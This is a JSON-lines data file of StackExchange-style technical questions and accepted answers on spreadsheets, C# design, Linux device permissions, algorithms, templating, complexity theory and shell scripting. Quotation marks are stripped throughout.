{  "id": "_webapps.82378"  , "question": "I have the following table.What I want to do is as follows.User selects either Minor, Medium, or Major and that specifies which column is used. User then inputs a number 1-100 and the chart then looks to find where the value follows and returns the text in the far right column.So if the user selects Minor and inputs 9 it would return Weapons but if they selected Medium and input 9 it would return Armor and Shields.I thought of one way to do this would be nested if statements with a unique VLookup in each(Example below) but I would prefer a much cleaner way to right this but I can't think of anyway.If (A1=Minor,Vlookup(A2, B2:E11,4),if(A2=Medium,Vlookup(A2, C2:E11,3)ECT...)"  , "title": "How to perform a Vlookup with search column dynamic depending on input in another cell"  , "tags": "google spreadsheets"  , "accepted_answer": "By default, vlookup assumes the data is sorted, and finds the largest element that is less than or equal to the search key. Therefore, you should fill the table with the lower bound for each range: +-------+--------+-------+---------+| Minor | Normal | Major | Item    ||  1    |  1     |  1    | Arrow   ||  5    | 11     | 11    | Weapons || 10    | 21     | 21    | Potion  || 45    | 32     | 26    | Ring    |+-------+--------+-------+---------+Let's say the above is your range B2:E6. The first step is to filter the columns, so that only two are left: one of the first three, and the last one. For this I would use filter based on regexmatch: =filter(B2:E6, regexmatch(B2:E2, ^(&A1&|Item)$))For example, if A1 has Normal (my favorite mode) then the regular expression is ^(Normal|Item)$ which matches either of two words, and nothing else.  So, if we don't do anything else, the result is +--------+---------+| Normal | Item    ||  1     | Arrow   || 11     | Weapons || 21     | Potion  || 32     | Ring    |+--------+---------+But of course we don't stop here: the filtered columns should be fed into vlookup: =vlookup(A2, filter(B2:E6, regexmatch(B2:E2, ^(&A1&|Item)$)), 2)And that is the formula you want. For example, if A2 is 15, then the largest entry that is <=A2 is 11, so the returned value is Weapons."  } 
{  "id": "_codereview.77610"  , "question": "Given my IUnitOfWork interface    using System;public interface IUnitOfWork : IDisposable{    void Commit();}I then create an abstract factory interface called IUnitOfWorkFactoryusing System.Transactions;public interface IUnitOfWorkFactory{    IUnitOfWork GetUnitOfWork(IsolationLevel isolationLevel);}I then create a default implementation of my IUnitOfWork called TransactionScopeUnitOfWorkusing System;using System.Transactions;public class TransactionScopeUnitOfWork : IUnitOfWork{    private bool disposed = false;    private readonly TransactionScope transactionScope;    public TransactionScopeUnitOfWork(IsolationLevel isolationLevel)    {        this.transactionScope = new TransactionScope(                TransactionScopeOption.Required,                new TransactionOptions                {                    IsolationLevel = isolationLevel,                    Timeout = TransactionManager.MaximumTimeout                });    }    public void Dispose()    {        this.Dispose(true);        GC.SuppressFinalize(this);    }    protected virtual void Dispose(bool disposing)    {        if (!disposed)        {            if (disposing)            {                this.transactionScope.Dispose();            }            disposed = true;        }    }    public void Commit()    {        this.transactionScope.Complete();    }}I then create the factory to return that implementation called TransactionScopeUnitOfWorkFactoryusing System.Transactions;public class TransactionScopeUnitOfWorkFactory : IUnitOfWorkFactory{    public IUnitOfWork GetUnitOfWork(IsolationLevel isolationLevel)    {        return new TransactionScopeUnitOfWork(isolationLevel);    }}The reason for creating the factory is to allow DI (Dependency Injection) frameworks to use different unit of work implementations depending on configuration.If TransactionScopeUnitOfWorkFactory was mapped to IUnitOfWorkFactory in a DI container, some sample code for using it in an application could be:public class Test{    private readonly IUnitOfWorkFactory unitOfWorkFactory;    private readonly IRepository testRepository;    public Test(        IRepository testRepository,        IUnitOfWorkFactory unitOfWorkFactory)    {         this.testRepository = testRepository;         this.unitOfWorkFactory = unitOfWorkFactory;         using (IUnitOfWork unitOfWork = this.unitOfWorkFactory.GetUnitOfWork(IsolationLevel.Serializable))        {            this.testRepository.Delete(1); // Some valid CRUD            unitOfWork.Commit();        }    }I am asking if this seems like a good implementation.  Am I missing anything?I want an IUnitOfWork interface that I can use across applications and not worry about maintaining later on.  Any opinions?"  , "title": "Reusable Unit Of Work Interface / Factory"  , "tags": "c#;design patterns;.net;repository"  } 
{  "id": "_codereview.80439"  , "question": "Here is the story.We have the BankTerminalSettings class. It has many properties:public class BankTerminalSettings {    public bool IsEnabled { get; set; }    public string IPAddress {get; set;}    public ushort TcpPort {get; set; }    public List<string> Zombies {get; set;}    //and many other properties}And we have a class which takes BankTerminalSettings as a parameter of it's constructor.public class BankTerminal {    public BankTerminal(BankTerminalSettings terminal, int clientId) {        ValidateBankTerminalSettings(terminal);        terminalSettings = terminal;        this.clientId = clientId;    }}The thing is that the BankTerminal uses only three of all those properties in that domain config class named BankTerminalSettings.It's a temptation just to pass the whole instace of the BankTerminalSettings, but the caller can incidentally change those properties which are relevant for the BankTerminal. That can cause very subtle bugs.What would you recommend?To replicate the BankTerminalSettings before passing it's instance?To replicate the BankTerminalSettings in the constructor of the BankTerminal?To pass only those parameters which are truely needed by the BankTerminal?"  , "title": "Initializing object by settings implemented as a class"  , "tags": "c#;.net;constructor"  , "accepted_answer": "It depends on whether you want to handle config updates or not. In your case I guess you just want to work with data at constructing point. There are few options to do this:Make copy of your settings before they are passed and use BankTerminalSettings inside the BankTerminal (as was considered). But personally I dont like the idea there are different BankTerminalSettings passing around.Better approach would be just to inialize your internal fields with config settings, i.e. to copy settings of BankTerminalSettings to BankTerminalAlso I'm worried with the fact BankTerminalSettings contain more properties than is needed for BankTerminal. Maybe BankTerminalSettings should get another name? Anyway, I would create interface IBankTerminalSettings that contain only properties needed by BankTerminal and pass it to BankTerminal constructor"  } 
{  "id": "_unix.305013"  , "question": "I am trying access a USB device using libFtd2xx (Version : libftd2xx.so.1.3.6)driver. Driver Link : http://www.ftdichip.com/Drivers/D2XX/Linux/ReadMe-linux.txt ...To test device functionality used Simple from example directory and mentioned below are the output during execution.Under ROOTvenkat:/opt# ./simple-dynamicDevice 0 Serial Number - 12Z9UXGVDevice 1 Serial Number -Opened device 12Z9UXGVUnder NON_Privilaged Uservenkat@venkat:/opt$ ./simple-dynamicError: FT_ListDevices(2)Under ROOT User : Device accessing worked as expected. However, when tried executing it under normal user the device was not accessible.I believe it is somewhere related to some permission . But not able to get through this.Strace Diff ROOT  open(/dev/bus/usb/001/005, O_RDWR)    = 10Normal user  open(/dev/bus/usb/001/005, O_RDWR)    = -1 EACCES (Permission denied)Thing I made sure before running this application:    1. rmmod ftdi_sio (as super user)    2. chmod 0755 /usr/local/lib/libftd2xx.so.1.3.6    3. ln -sf /usr/local/lib/libftd2xx.so.1.3.6 /usr/local/lib/libftd2xx.soTried adding permission to UDEV too:ACTION==add, SUBSYSTEMS==usb, ATTRS{idVendor}==0403, ATTRS{idProduct}==6014, MODE=0755Request some guidance in addressing this issue.Source Sample:/*    Simple example to open a maximum of 4 devices - write some data then read it back.    Shows one method of using list devices also.    Assumes the devices have a loopback connector on them and they also have a serial number*//*To build use the following gcc statement (assuming you have the d2xx library in the /usr/local/lib directory).gcc -o simple main.c -L. -lftd2xx -Wl,-rpath /usr/local/lib*/#include <stdio.h>#include <stdlib.h>#include <string.h>#include <unistd.h>#include ../ftd2xx.h#define BUF_SIZE 0x10#define MAX_DEVICES     5static void dumpBuffer(unsigned char *buffer, int elements){    int j;    printf( [);    for (j = 0; j < elements; j++)    {        if (j > 0)            printf(, );        printf(0x%02X, (unsigned int)buffer[j]);    }    printf(]\\n);}int main(){    unsigned char   cBufWrite[BUF_SIZE];    unsigned char * pcBufRead = NULL;    char *  pcBufLD[MAX_DEVICES + 1];    char    cBufLD[MAX_DEVICES][64];    DWORD   dwRxSize = 0;    DWORD   dwBytesWritten, dwBytesRead;    FT_STATUS   ftStatus;    FT_HANDLE   ftHandle[MAX_DEVICES];    int iNumDevs = 0;    int i, j;    int iDevicesOpen;       for(i = 0; i < MAX_DEVICES; i++) {        pcBufLD[i] = cBufLD[i];    }    pcBufLD[MAX_DEVICES] = NULL;    ftStatus = FT_ListDevices(pcBufLD, &iNumDevs, FT_LIST_ALL | FT_OPEN_BY_SERIAL_NUMBER);    if(ftStatus != FT_OK) {        printf(Error: FT_ListDevices(%d)\\n, (int)ftStatus);        return 1;    }    for(i = 0; ( (i <MAX_DEVICES) && (i < iNumDevs) ); i++) {        printf(Device %d Serial Number - %s\\n, i, cBufLD[i]);    }    for(j = 0; j < BUF_SIZE; j++) {        cBufWrite[j] = j;    }    for(i = 0; ( (i <MAX_DEVICES) && (i < iNumDevs) ) ; i++) {        /* Setup */        if((ftStatus = FT_OpenEx(cBufLD[i], FT_OPEN_BY_SERIAL_NUMBER, &ftHandle[i])) != FT_OK){            /*                 This can fail if the ftdi_sio driver is loaded                use lsmod to check this and rmmod ftdi_sio to remove                also rmmod usbserial            */            printf(Error FT_OpenEx(%d), device %d\\n, (int)ftStatus, i);            printf(Use lsmod to check if ftdi_sio (and usbserial) are present.\\n);            printf(If so, unload them using rmmod, as they conflict with ftd2xx.\\n);            return 1;        }        printf(Opened device %s\\n, cBufLD[i]);        iDevicesOpen++;        if((ftStatus = FT_SetBaudRate(ftHandle[i], 9600)) != FT_OK) {            printf(Error FT_SetBaudRate(%d), cBufLD[i] = %s\\n, (int)ftStatus, cBufLD[i]);            break;        }        printf(Calling FT_Write with this write-buffer:\\n);        dumpBuffer(cBufWrite, BUF_SIZE);        /* Write */        ftStatus = FT_Write(ftHandle[i], cBufWrite, BUF_SIZE, &dwBytesWritten);        if (ftStatus != FT_OK) {            printf(Error FT_Write(%d)\\n, (int)ftStatus);            break;        }        if (dwBytesWritten != (DWORD)BUF_SIZE) {            printf(FT_Write only wrote %d (of %d) bytes\\n,                    (int)dwBytesWritten,                    BUF_SIZE);            break;        }        sleep(1);        /* Read */        dwRxSize = 0;                   while ((dwRxSize < BUF_SIZE) && (ftStatus == FT_OK)) {            ftStatus = FT_GetQueueStatus(ftHandle[i], &dwRxSize);        }        if(ftStatus == FT_OK) {            pcBufRead = realloc(pcBufRead, dwRxSize);            memset(pcBufRead, 0xFF, dwRxSize);            printf(Calling FT_Read with this read-buffer:\\n);            dumpBuffer(pcBufRead, dwRxSize);            ftStatus = FT_Read(ftHandle[i], pcBufRead, dwRxSize, &dwBytesRead);            if (ftStatus != FT_OK) {                printf(Error FT_Read(%d)\\n, (int)ftStatus);                break;            }            if (dwBytesRead != dwRxSize) {                printf(FT_Read only read %d (of %d) bytes\\n,                       (int)dwBytesRead,                       (int)dwRxSize);                break;            }            printf(FT_Read read %d bytes.  Read-buffer is now:\\n,                   (int)dwBytesRead);            dumpBuffer(pcBufRead, (int)dwBytesRead);            if (0 != memcmp(cBufWrite, pcBufRead, BUF_SIZE)) {                printf(Error: read-buffer does not match write-buffer.\\n);                break;            }            printf(%s test passed.\\n, cBufLD[i]);        }        else {            printf(Error FT_GetQueueStatus(%d)\\n, (int)ftStatus);         }    }    iDevicesOpen = i;    /* Cleanup */    for(i = 0; i < iDevicesOpen; i++) {        FT_Close(ftHandle[i]);        printf(Closed device %s\\n, cBufLD[i]);    }    if(pcBufRead)        free(pcBufRead);    return 0;}"  , "title": "Accessing a USB device under Non - Privilaged user with FTDI2XX Driver"  , "tags": "linux;debian;drivers;usb;devices"  } 
{  "id": "_webapps.30971"  , "question": "Is there a way to convert your Facebook friends to subscribers? I have read that some people did it, but I can't find any info about it."  , "title": "Convert friends to subscribers in Facebook"  , "tags": "facebook"  } 
{  "id": "_webapps.105037"  , "question": "Why can't I remove a device off my Google account activity that is not one of my devices?"  , "title": "Remove access for unknown devices in account activity"  , "tags": "google account;security;account management"  } 
{  "id": "_cs.53450"  , "question": "If I'm given 2 unsorted arrays A and B of n distinct integers and an integer z, how can I determine if there exists an integer in A and an integer in B that add up to z with an expected run time of O(n)? I'm pretty sure that I would have to use a hash table(s) of some sort since I'm dealing with expected run time but I'm not sure how the algorithm would work.Any help would be really appreciated! Thanks!"  , "title": "Determine if there are 2 integers in 2 separate arrays add up to a given number"  , "tags": "algorithms;hash tables"  , "accepted_answer": "Insert the elements of the first array into a hashset S by subtracting from z. I.e., if 3 is an element of the first array, instert z - 3 into S. Then for each element in the second array, check if z - element is already in S. This procedure is O(n)."  } 
{  "id": "_unix.385781"  , "question": "I am running the i3 window manager with Debian 9 Stretch on a laptop with a trackpad.I have run into the problem that whenever I type, the mouse is disabled. Is this normal behavior or a bug?nonfree repos have been enabled and linux-firmware-nonfree has been installed. The bug does not show up on other distributions.This does not happen with a USB mousexinput outputVirtual core pointer                        id=2    [master pointer  (3)]Virtual core XTEST pointer                  id=4    [slave  pointer  (2)]ETPS/2 Elantech Touchpad                    id=11   [slave  pointer  (2)]Virtual core keyboard                       id=3    [master keyboard (2)]Virtual core XTEST keyboard                 id=5    [slave  keyboard (3)]Video Bus                                   id=7    [slave  keyboard (3)]Power Button                                id=8    [slave  keyboard (3)]HP TrueVision HD                            id=9    [slave  keyboard (3)]AT Translated Set 2 keyboard                id=10   [slave  keyboard (3)]HP Wireless hotkeys                         id=12   [slave  keyboard (3)]HP WMI hotkeys                              id=13   [slave  keyboard (3)]Power Button                                id=6    [slave  keyboard (3)]Touchpad PropertiesDevice 'ETPS/2 Elantech Touchpad':    Device Enabled (142):   1    Coordinate Transformation Matrix (144): 1.000000, 0.000000, 0.000000, 0.000000, 1.000000, 0.000000, 0.000000, 0.000000, 1.000000    libinput Tapping Enabled (277): 0    libinput Tapping Enabled Default (278): 0    libinput Tapping Drag Enabled (279):    1    libinput Tapping Drag Enabled Default (280):    1    libinput Tapping Drag Lock Enabled (281):   0    libinput Tapping Drag Lock Enabled Default (282):   0    libinput Tapping Button Mapping Enabled (283):  1, 0    libinput Tapping Button Mapping Default (284):  1, 0    libinput Accel Speed (285): 0.000000    libinput Accel Speed Default (286): 0.000000    libinput Natural Scrolling Enabled (287):   0    libinput Natural Scrolling Enabled Default (288):   0    libinput Send Events Modes Available (262): 1, 1    libinput Send Events Mode Enabled (263):    0, 0    libinput Send Events Mode Enabled Default (264):    0, 0    libinput Left Handed Enabled (289): 0    libinput Left Handed Enabled Default (290): 0    libinput Scroll Methods Available (291):    1, 1, 0    libinput Scroll Method Enabled (292):   1, 0, 0    libinput Scroll Method Enabled Default (293):   1, 0, 0    libinput Disable While Typing Enabled (294):    1    libinput Disable While Typing Enabled Default (295):    1    Device Node (265):  /dev/input/event1    Device Product ID (266):    2, 14    libinput Drag Lock Buttons (296):   <no items>    libinput Horizontal Scroll Enabled (297):   1"  , "title": "Mouse and keyboard don't work when used at the same time"  , "tags": "debian;i3;laptop"  } 
{  "id": "_unix.38498"  , "question": "If I change my system time on Debian which files would be modified?Would it be /etc/default/rcS?Also, is default time on Debian Dec 31 1969?"  , "title": "Debian and system clock change?"  , "tags": "linux;debian;time"  } 
{  "id": "_softwareengineering.351465"  , "question": "I want to know how does a file system write to and read from a storage device.I think this is how it works:A file system doesn't access the storage device directly, but rather the storage device is presented (by the device driver of the storage device) to the file system as a (very large) byte array.For example, if the file system wants to access a hard disk, it will simply access the byte array representing the hard disk.This way a file system can work with any type of storage device (traditional hard disk, SSD, USB flash drive, etc.), and only the device driver for the storage device is changed.This image shows what I have just explained:Am I correct in my understanding?"  , "title": "Does a file system see the storage device as a (very large) byte array?"  , "tags": "operating systems;file systems"  } 
{  "id": "_computergraphics.4272"  , "question": "I have a cylinder that has rectangular box regions to mark leakage problems. The location of a rectangular box is determined by its initial position in the longitudinal axis and its initial position in the circumferential axis in degree. The length  and width (in degrees, from 0 to 360) of the boxes are also available.How can I convert this cylinder to a plane surface so that I can find the location of the rectangular boxes in the 2D plane?Here I have  three rectangles on the surface."  , "title": "Mapping of cylinder to 2D plane"  , "tags": "computational geometry"  , "accepted_answer": "You already have a 2D parametrisation, don't you? One of the dimensions is the longitudal axis (in mm?) and the other is the circumferential axis (in degrees). The only problem I see is when you have rectangles wrapping around the 0/360-degree boundary. One workaround for that would be to duplicate each rectangle (or just the ones on the boundary) so that you get one copy on each side of the boundary. Does that help? And if you need to have a distance, and not an angle, for the circular dimension, that is readily available as $l = r a \\pi/180$, where $r$ is the radius and $a$ is the angle in degrees."  } 
{  "id": "_softwareengineering.312468"  , "question": "Sorry in advance if this is a little confusing, it's difficult how to phrase this.I am currently using Spring MVC with some RESTful services mixed in for some AJAX client side logic.  I am looking to move towards a more SOA style of coding our views.  Since the MVC and the REST service would live in the same application, is there a need to use Spring RestTemplate in the code when I need to populate objects into a Model?Right now to GET User and display in the view, the Spring MVC talks to a DAO and then adds the User into Model.  After reading a few things here on SO and Spring's Site it seems like RestTemplate could be used to get the data from a REST service and then insert into the model (if it came from a 3rd party).Is there any reason why code should (or shouldn't) move to using the RestTemplate for internal REST calls instead of just using the DOA and such?  I assume going towards SOA means moving into this style, but it seems a little clunky for calling a service that is within the same application.  But I also see the value add of having the service exist once and using it multiple times, updating in one spot instead of all over so any front end web code would be automatically updated with any changes to the service layer.Example:@RequestMapping(value={showUserTable},method={RequestMethod.GET})public String showUserTable(Model model){  List<User> users = User.getAll(); //DAO nonsense here, assume List exists  model.addAttribute(users, users);  return userTable; // returns a jsp simply looping through the list and displaying.}Is there any reason to go towards complicating these to use the internal REST Service in favor of the encapsulation I gain of SOA, or is there a cleaner way to consume these services?@RequestMapping(value={showUserTable},method={RequestMethod.GET})public String showUserTable(Model model){  List<User> users = restTemplate.getForObject(http://example.com/users, User.class);  // or however I use restTemplates, havent done it yet so still fuzzy but shouldnt be too tricky.      model.addAttribute(users, users);  return userTable; // returns a jsp simply looping through the list and displaying.}"  , "title": "Spring Consuming Internal REST WS for MVC"  , "tags": "java;spring;rest;spring mvc"  } 
{  "id": "_webmaster.9937"  , "question": "FB share currently pulls the page title tag and first body text by default.However our title tags are optimised for SEO and we want to customise what people see when the website is shared.I thought this might be a solution:<meta name=title content=title /><meta name=description content=description  /><link rel=image_src href=thumbnail_image / >But have been told this will still conflict with the SEO? Can anyone help?"  , "title": "How do we customise FB share function without affecting SEO?"  , "tags": "facebook;seo"  } 
{  "id": "_softwareengineering.305746"  , "question": "I wrote up a site using Mustache to template it. Right now though, the template is embedded in the page, which defeats the purpose of using the template since I'll need to copy it to any other pages that need it.I read that it's possible to store the template in an external page, then use Ajax to load the template when needed, but this is for a school project, and I'm not yet at the point where they want us using Ajax.Is it possible to have the template externalized without the use of Ajax?Ideally, I'd like to have the following setup:...PageUsingTemnplate.htmlAnotherPageUsingTemplate.html...Template.html"  , "title": "Can I use an external Mustache template without Ajax?"  , "tags": "ajax;templates"  , "accepted_answer": "You can use PartialsPartials begin with a greater than sign, like {{> box}}.For example, this template and partial:base.mustache:<h2>Names</h2>{{#names}}  {{> user}}{{/names}}user.mustache:<strong>{{name}}</strong>Can be thought of as a single, expanded template:<h2>Names</h2>{{#names}}  <strong>{{name}}</strong>{{/names}}"  } 
{  "id": "_softwareengineering.298710"  , "question": "I'm writing a PHP application where a block/module of domain logic is subject to frequent, significant changes over time.The complication is the application needs to be able to use not just the latest version of the module, but any version that it has previously used, so it can reproduce the results of data that that version would have made.I would use a facade and/or adapters or similar so the application's main code can switch between which versions of the module it uses without too much trouble.As for the module, I was planning to use namespacing for each major revision (where the domain logic produces different results); duplicating all the classes in that domain logic module. I.e. effectively copy-and-paste the entire thing, including classes within the module that haven't changed.This is a pungent code smell and I can't think of any way round it, let alone a simple way, given that the module may also undergo complete restructuring.Any ideas?"  , "title": "OO Pattern for making multiple versions of domain logic available to the client"  , "tags": "versioning"  } 
{  "id": "_unix.328594"  , "question": "I was trying to develop a twitter streaming application on my AWS EC2 machine. The OS platform is Ubuntu 16.04.1 LTS and I have downgraded the PHP version to 5.6.28-1+deb.sury.org~xenial+1When I run the twitter streaming application on this server, I am getting the following errors.Warning: fsockopen(): Peer certificate CN=`stream.twitter.com' did not match expected CN=`199.16.156.217' in /var/www/html/myapp/streamer/twitterstreamer.php on line 620Warning: fsockopen(): Failed to enable crypto in /var/www/html/myapp/streamer/twitterstreamer.php on line 620 Warning: fsockopen(): unable to connect to ssl://199.16.156.217:443 (Unknown error) in /var/www/html/myapp/streamer/twitterstreamer.php on line 620The same code is running without any issues in another two machines (one is AWS EC2 and the another is a godaddy server).All the ports in the current EC2 machine is open now and the SSL version is OpenSSL/1.0.2g the openssl section is having the following value.Can someone help me to find where the exact issue is ?"  , "title": "openssl issue in Ubuntu 16.04.1 LTS and php 5.6.28-1+deb.sury.org~xenial+1"  , "tags": "ubuntu;php;openssl"  } 
{  "id": "_cs.19663"  , "question": "Given this set of question-answer pairs, what program will derive the underlying algorithm and provide the correct answer for any question of the same format.Question-Answer Pairs (training set):B:BABA:BBBB:BAABAA:BABBAB:BBABBA:BBBBBB:BAAABAAA:BAABBAAB:BABAThose familiar with binary may notice that the training set is binary numbers with A and B substituted for 0 and 1. The answer to each question is the next binary number (using A and B). After processing the training set, the program should be able to answer questions such as the following using the algorithm it derived:BABA:?BABB:?BBBBAAA:?BAABBAAABBABA:?Constraints:The program must derive the counting algorithm only by manipulating the data given in the training set. It must not use hard coded knowledge of binary counting.Many algorithms may produce the correct answers. Therefore, the simplest algorithm is preferred. The program should assume that each answer is a transformation of the question.All questions will be in the binary format seen above, but they may be of arbitrary size.Can any existing machine learning programs/algorithms solve this? If so, how?If you believe this is unsolvable, please explain why.This update contains background to the question, explanation of the problem space, a new constraint, a proposed solution, and further questions.This problem is relevant to general machine learning where the machine must learn by observation and feedback the algorithms that govern the world around it.Based on Kolmogorov complexity, there is at least one program that can produce the correct mappings:if B, then BAif BA, then BB(etc. for all pairs in training set)This will work for every pair in the training set and nothing else. This will be the shortest program if the training set is completely random. The good news is that this is an upper bound. For any training set that is not random, there will be a smaller program that will work. Also, the number of programs smaller than upper bound is finite. A unfortunate result of Kolmogorov complexity is that it cannot be calculated. This is due to the halting problem. We can't know if any program will stop until it does.If the question is Write pi, then the program that produces the correct answer would never halt because pi has infinite digits. An answer infinitely long is never desirable so I think the best way to deal with this is to put an arbitrary limit on the length of the answer.With that additional constraint, here is an (inefficient) program that will generate a correct solution program shorter than the upper bound if one exists. (sorry of this is confusing, but these steps outline a program that generates programs that implement an algorithm to map questions to answers in a training set):Create the upper bound program. One that maps each input in the training set directly to its output.Generate every possible program that is shorter than the upper bound and list them from shortest to longest.Starting with the shortest program, run the first step of every program. Stop when a correct program is found.Eliminate programs that stop without a correct answer or produce an answer longer than the arbitrary limit.Repeat steps 3-5 running the second step, third step, etc. of the programs.This program has the following benefits:It limits the number of programs to those smaller than the upper bound program.It avoids the halting problem byincorporating an arbitrary limit to the length of the answer and executing step x in all programs before moving on to step x+1 so that the solution will be found before looping infinity.The main disadvantage is that it is terribly slow. It takes millions of years to crack a 128 bit password and I think this program could have comparable performance.Now, the questions:Do you see any significant flaws in this solution?Can this program's performance be improved in any significant waywithout introducing onerous constraints?"  , "title": "What program will derive the underlying algorithm in these question-answer pairs (updated)?"  , "tags": "machine learning;artificial intelligence"  , "accepted_answer": "The same answers you got the last time you asked this question apply.  There are infinitely many possible mappings $\\{A,B\\}^* \\to \\{A,B\\}^*$ and none is preferable to any other.Let's try to formalize your problem more clearly.  I suspect you want an algorithm to solve the following problem:Given a training set as input (i.e., a set of mappings $x \\mapsto y$, where $x,y$ are strings), output the shortest algorithm $A$ with the property that $A(x)=y$ for every $x,y$ in the training set.The bad news is that this problem is not solvable.  In particular, the problem is undecidable, so you should not expect any general algorithm to solve this problem.  To do better, you will need some structure on the set of hypotheses (e.g., a distribution on possible mappings or something like that).Why is this undecidable?  Because it is basically the problem of computing the Kolmogorov complexity of the training set, and computing the Kolmogorov complexity is known to be undecidable.You might be wondering how standard methods for machine learning get around this barrier.  The answer is that they avoid this barrier by changing the problem statement.  Machine learning methods generally involve a more restricted space of hypotheses (instead of allowing all possible algorithms, we only consider a restricted subset, such as those that are linear or that have some other nice properties) or else involve specifying a probability distribution on the set of possible mappings.   I recommend you spend some time studying machine learning.What is the context and motivation for your question?  What's the specific real-world situation where you encountered this?  To make progress I suspect you'll need to step back and look at the real requirements from your application, and be open to other ways to meet your needs."  } 
{  "id": "_unix.228915"  , "question": "I need to find and replace either one or two numerical characters in strings in a file.  The strings are IP addresses of the form: 10.xx.y.z Where xx can be one or two characters.  I want to replace the xx with the single character 0, so I have10.0.y.z preserving the values of y and z. The string may appear multiple times in the file.  What is the sed invocation to do this? "  , "title": "Replace arbitrary characters in the middle of an IP address string with sed"  , "tags": "text processing;sed"  } 
{  "id": "_reverseengineering.9402"  , "question": "I was trying to reverse engineer an Android Malware sample and I find the following sample when decompiling the jar file I obtained by running dex2jar.  if (i >= paramBundle.length())  {    ((TextView)findViewById(2131034112)).setText(((StringBuilder)localObject).toString());    return;  }How can I find the string that 2131034112 refers to?"  , "title": "Android malware reversing : constant values"  , "tags": "android"  } 
{  "id": "_cstheory.1948"  , "question": "I'm interested in an explicit Boolean function $f \\colon \\\\{0,1\\\\}^n \\rightarrow \\\\{0,1\\\\}$ with the following property: if $f$ is constant on some affine subspace of $\\\\{0,1\\\\}^n$, then the dimension of this subspace is $o(n)$. It is not difficult to show that a symmetric function does not satisfy this propertyby considering a subspace $A=\\\\{x \\in \\\\{0,1\\\\}^n \\mid x_1 \\oplus x_2=1, x_3 \\oplus x_4=1, \\dots, x_{n-1} \\oplus x_n=1\\\\}$. Any $x \\in A$ has exactly $n/2$ $1$'s and hence $f$ is constant the subspace $A$ of dimension $n/2$.Cross-post: https://mathoverflow.net/questions/41129/a-boolean-function-that-is-not-constant-on-affine-subspaces-of-large-enough-dimen"  , "title": "A Boolean function that is not constant on affine subspaces of large enough dimension"  , "tags": "cc.complexity theory;circuit complexity;derandomization;linear algebra"  , "accepted_answer": "The objects you are searching for are called seedless affine dispersers with one output bit.  More generally, a seedless disperser with one output bit for a family $\\mathcal{F}$ of subsets of $\\{0,1\\}^n$ is a function $f : \\{0,1\\}^n \\to \\{0,1\\}$ such that on any subset $S \\in \\mathcal{F}$, the function $f$ is not constant.  Here, you are interested in $\\mathcal{F}$ being the family of affine subspacesBen-Sasson and Kopparty in Affine Dispersers from Subspace Polynomials explicitly construct seedless affine dispersers for subspaces of dimension at least $6n^{4/5}$.  The full details of the disperser are a bit too complicated to describe here.  A simpler case also discussed in the paper is when we want an affine disperser for subspaces of dimension $2n/5+10$.  Then, their construction views ${\\mathbb{F}}_2^n$ as ${\\mathbb{F}}_{2^n}$ and specifies the disperser to be $f(x) = Tr(x^7)$, where $Tr: {\\mathbb{F}}_{2^n} \\to {\\mathbb{F}}_2$ denotes the trace map: $Tr(x) = \\sum_{i=0}^{n-1} x^{2^i}$.  A key property of the trace map is that $Tr(x+y) = Tr(x) + Tr(y)$.  "  } 
{  "id": "_unix.166502"  , "question": "Wow, I could not think of a good way to title this question.  Basically I have a file called attendance with data like this:11/06/2014 101.11.001.01 FirstName LastName11/06/2014 101.11.001.01 FirstName LastName11/06/2014 101.11.001.01 FirstName LastName11/06/2014 101.11.001.01 FirstName LastNameBasically it's the date, IP address, First name, and Last name.  The above is how it is formatted in the attendance file.  I have created an html page with text boxes and a submit button where a user can either:  A.) Enter a FN/LN and receive a list of dates that person logged in, OR B.) Type in a date and receive a list of users who logged in on that date. I'm getting the results I want, but the result of the grep displayed in the browser is all on one line, like this:11/06/2014 101.11.001.01 FirstName LastName 11/06/2014 101.11.001.01 FirstName LastName 11/06/2014 101.11.001.01 FirstName LastName 11/06/2014 101.11.001.01 FirstName LastNameObviously this is sub-optimal.  I need the grep results to appear on separate lines.  Below is my .cgi file. getvars is just a script the professor made for converting variable types. Also, I'm cutting corners by only grepping last name, because nobody has the same last name:#!/bin/bash. ~/bin/getvarsif [ ! -z $LN ]; thencat attendance | grep $LNelif [ ! -z $DATE ]; thencat attendance | grep $DATEelse echo No Records FoundfiI've tried to be as concise as possible and I apologize is anything doesn't make sense.  My only question is:  How do I get the grep results on separate lines?"  , "title": "How to format grep results?"  , "tags": "bash;grep"  , "accepted_answer": "Presumably, your browser is interpreting whatever file you're pointing it to as HTML. In HTML a newline is not \\n but the <br> tag, so you would need to add that. For example:#!/usr/bin/env bash. ~/bin/getvarsif [ ! -z $LN ]; then  grep $LN attendance | sed 's/$/<br>/'elif [ ! -z $DATE ]; then  grep $DATE attendance | sed 's/$/<br>/'else    echo No Records FoundfiOn my Debian, firefox interprets \\n as line breaks if the file has no .html extension (I tried with no extension and .txt) so that might be a workaround but I have no idea how portable that would be. A better alternative would be to make it a proper HTML page, use <pre> tags and replace all < and > with their HTML equivalents:#!/usr/bin/env bash. ~/bin/getvarsecho <HTML><BODY><pre>if [ ! -z $LN ]; then  grep $LN attendance | sed 's/>/\\&gt;/g;s/</\\&lt;/g;'elif [ ! -z $DATE ]; then  grep $DATE attendance | sed 's/>/\\&gt;/g;s/</\\&lt;/g;'else    echo No Records Foundfiecho </pre></BODY></HTML>"  } 
{  "id": "_cs.74569"  , "question": "My Computer Architecture gives me this example but I cant for the life of me understand how it solved the problem.How many bubbles must be placed between the pair of SRC instructions in the presence and in the absence of data forwarding to resolve dependence?ld r2, (r4)add r6,r4,r2SolutionStaller = ldStallee = addHazard Register = r2Bubbles without/with forwarding = 3/1How does it know there is a stall?How does it know the hazard register?How did it calculate the number of bubbles?I really need help understanding this concept to do my homework. Much appreciated."  , "title": "Need Help Understanding Pipeline Bubbles Problem"  , "tags": "computer architecture"  } 
{  "id": "_unix.259124"  , "question": "This happens to be a new problem because I was able to run MATLAB on the shell until today. I didn't install or update it or anything of that sort, but now I am unable run matlab in the sell. It tells me:user~ $ matlabbash: matlab: command not foundthis seems weird to me.The solution that I have tried is adding the MATLAB binaries to path. So I did:PATH=$PATH:/Applications/MATLAB_R2015a.appwhere /Applications/MATLAB_R2015a.app is the path returned by matlabroot matlab command from the GUI. I tried this but as a no surprise, it didn't work, I still can't add the MATLAB binaries to my path. How does one find the MATLAB binaries location in my system? Even if I find them, is it advised to just manually add it to my path? I also restarted my computer (OS X) but that did not work either. Any advice how to solve the issue? Re-install MATLAB?"  , "title": "Why can't my Unix terminal not find my matlab binaries and making Unix find them again?"  , "tags": "shell;matlab"  } 
